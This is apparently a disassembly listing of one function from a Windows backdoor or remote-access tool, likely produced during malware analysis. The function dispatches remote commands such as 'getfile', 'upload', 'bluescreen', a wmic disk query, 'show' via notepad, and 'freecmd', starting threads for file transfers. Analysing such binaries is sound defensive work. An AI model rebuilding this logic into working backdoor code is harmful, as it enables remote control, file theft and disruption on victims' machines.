Function at 0x405736
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov eax, 0x1313c
call fcn.00412c18
mov dword [ebp - 0x130f8], 0x406a58
mov dword [ebp - 0x130f4], 0x44b4a8
lea eax, [ebp - 0x130f0]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x405daf
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x13110]
mov dword [esp], eax
call fcn.00412eb8
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
lea eax, [ebp - 0x8018]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 0xffffffff
call sub.msvcrt.dll_strcpy
mov byte [ebp - 0x8019], 0
mov dword [esp + 4], 8
mov dword [esp], 0x10
call fcn.0044a350
mov dword [esp + 4], eax
lea eax, [ebp - 0xa8e8]
mov dword [esp], eax
call fcn.004442a8
lea eax, [ebp - 0x8018]
mov dword [esp + 4], eax
lea eax, [ebp - 0xa8e8]
add eax, 8
mov dword [esp], eax
mov dword [ebp - 0x1310c], 1
call fcn.00449980
lea eax, [ebp - 0x8018]
mov dword [esp + 4], eax
lea eax, [ebp - 0xa8e8]
mov dword [esp], eax
call fcn.0044a75c
mov dword [ebp - 0xa8ec], 0
lea edx, [ebp - 0xa828]
mov eax, dword [ebp - 0xa8ec]
shl eax, 0xa
lea eax, [edx + eax]
mov dword [esp + 4], eax
lea eax, [ebp - 0xa8e8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 1
call fcn.0044a75c
mov edx, dword [eax]
sub edx, 0xc
add eax, dword [edx]
mov dword [esp], eax
call fcn.0042b5d8
test eax, eax
je 0x40585c
lea eax, [ebp - 0xa8ec]
inc dword [eax]
jmp 0x405811
cmp byte [ebp - 0x8018], 0
jne 0x4058a2
mov dword [esp], 0x44e745
mov dword [ebp - 0x1310c], 1
call sub.msvcrt.dll_printf
lea eax, [ebp - 0xa8e8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 0xffffffff
call fcn.00444848
mov dword [ebp - 0x13114], 1
jmp 0x405e06
cmp byte [ebp - 0x8018], 0xd
je 0x4058b6
cmp byte [ebp - 0x8018], 0xa
je 0x4058b6
jmp 0x4058dd
lea eax, [ebp - 0xa8e8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 0xffffffff
call fcn.00444848
mov dword [ebp - 0x13114], 1
jmp 0x405e06
lea eax, [ebp - 0x8018]
mov dword [esp + 4], str.getfile
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4059cf
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0xace8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 1
call fcn.0040510e
lea eax, [ebp - 0xa828]
mov dword [esp + 4], eax
lea eax, [ebp - 0xace8]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xb0d4], eax
lea eax, [ebp - 0xace8]
mov dword [esp + 4], eax
lea eax, [ebp - 0xb0d8]
add eax, 8
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov dword [esp + 0x14], 0x1654bf0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xb0d8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40448e
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.msvcrt.dll__beginthreadex
mov dword [0x1654be8], eax
mov eax, dword [0x1654be8]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea eax, [ebp - 0xa8e8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 0xffffffff
call fcn.00444848
mov dword [ebp - 0x13114], 1
jmp 0x405e06
lea eax, [ebp - 0x8018]
mov dword [esp + 4], str.upload
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x405ad9
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0xb0d8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 1
call fcn.0040510e
lea eax, [ebp - 0xa828]
mov dword [esp + 4], eax
lea eax, [ebp - 0xb0d8]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xace4], eax
lea eax, [ebp - 0xb0d8]
mov dword [esp + 4], eax
lea eax, [ebp - 0xace8]
add eax, 8
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov dword [esp + 0x14], 0x1654bf0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xace8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x4044cc
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.msvcrt.dll__beginthreadex
mov dword [0x1654be8], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [0x1654be8]
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 8
mov eax, dword [0x1654be8]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
lea eax, [ebp - 0xa8e8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 0xffffffff
call fcn.00444848
mov dword [ebp - 0x13114], 1
jmp 0x405e06
lea eax, [ebp - 0x8018]
mov dword [esp + 4], str.bluescreen
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x405b04
call fcn.004050ee
mov byte [ebp - 0x8019], 1
jmp 0x405d5e
lea eax, [ebp - 0x8018]
mov dword [esp + 4], str.disk
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x405b9b
lea edi, [ebp - 0xb0d8]
mov esi, str.wmic_LOGICALDISK_get_name_Description_filesystem_size_freespace
mov eax, 0x40
cld
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0xb098]
mov eax, 0x3c0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sub.msvcrt.dll_memset
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0xb0d8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 1
call fcn.004047d8
lea eax, [ebp - 0xa8e8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 0xffffffff
call fcn.00444848
mov dword [ebp - 0x13114], 1
jmp 0x405e06
lea eax, [ebp - 0x8018]
mov dword [esp + 4], str.show
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x405d02
mov eax, dword [str.echo]
mov dword [ebp - 0x130d8], eax
movzx eax, word [0x44eb79]
mov word [ebp - 0x130d4], ax
lea edx, [ebp - 0x130d2]
mov eax, 0x7ffa
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sub.msvcrt.dll_memset
mov dword [ebp - 0x130dc], 0
mov eax, dword [ebp - 0x130dc]
cmp eax, dword [ebp - 0xa8ec]
jge 0x405c65
lea edx, [ebp - 0xa828]
mov eax, dword [ebp - 0x130dc]
shl eax, 0xa
lea eax, [edx + eax]
mov dword [esp + 4], eax
lea eax, [ebp - 0x130d8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 1
call sub.msvcrt.dll_strcat
mov eax, dword [ebp - 0x130dc]
cmp eax, dword [ebp - 0xa8ec]
je 0x405c5b
mov dword [esp + 4], 0x456b75
lea eax, [ebp - 0x130d8]
mov dword [esp], eax
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x130dc]
inc dword [eax]
jmp 0x405bfb
mov dword [esp + 4], str._t.txt
lea eax, [ebp - 0x130d8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 1
call sub.msvcrt.dll_strcat
lea eax, [ebp - 0x130d8]
mov dword [esp + 4], eax
mov dword [esp], 0x44e58e
call sub.msvcrt.dll_printf
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x130d8]
mov dword [esp], eax
call fcn.004047d8
mov dword [esp + 4], str.notepad_t.txt
lea eax, [ebp - 0x130d8]
mov dword [esp], eax
call sub.msvcrt.dll_strcpy
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x130d8]
mov dword [esp], eax
call fcn.004047d8
lea eax, [ebp - 0xa8e8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 0xffffffff
call fcn.00444848
mov dword [ebp - 0x13114], 1
jmp 0x405e06
lea eax, [ebp - 0x8018]
mov dword [esp + 4], str.freecmd
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x405d5e
mov dword [esp], 0x456b94
mov dword [ebp - 0x1310c], 1
call sub.msvcrt.dll_printf
call sub.KERNEL32.dll_FreeConsole
lea eax, [ebp - 0xa8e8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 0xffffffff
call fcn.00444848
mov dword [ebp - 0x13114], 1
jmp 0x405e06
cmp byte [ebp - 0x8019], 0
je 0x405d7c
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 1
call fcn.0041b588
movzx eax, byte [ebp - 0x8019]
mov dword [ebp - 0x13118], eax
lea eax, [ebp - 0xa8e8]
mov dword [esp], eax
mov dword [ebp - 0x1310c], 0xffffffff
call fcn.00444848
mov edx, dword [ebp - 0x13118]
mov dword [ebp - 0x13114], edx
jmp 0x405e06
lea eax, [ebp - 0x13110]
mov dword [esp], eax
call fcn.00412f98
mov eax, dword [ebp - 0x13114]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret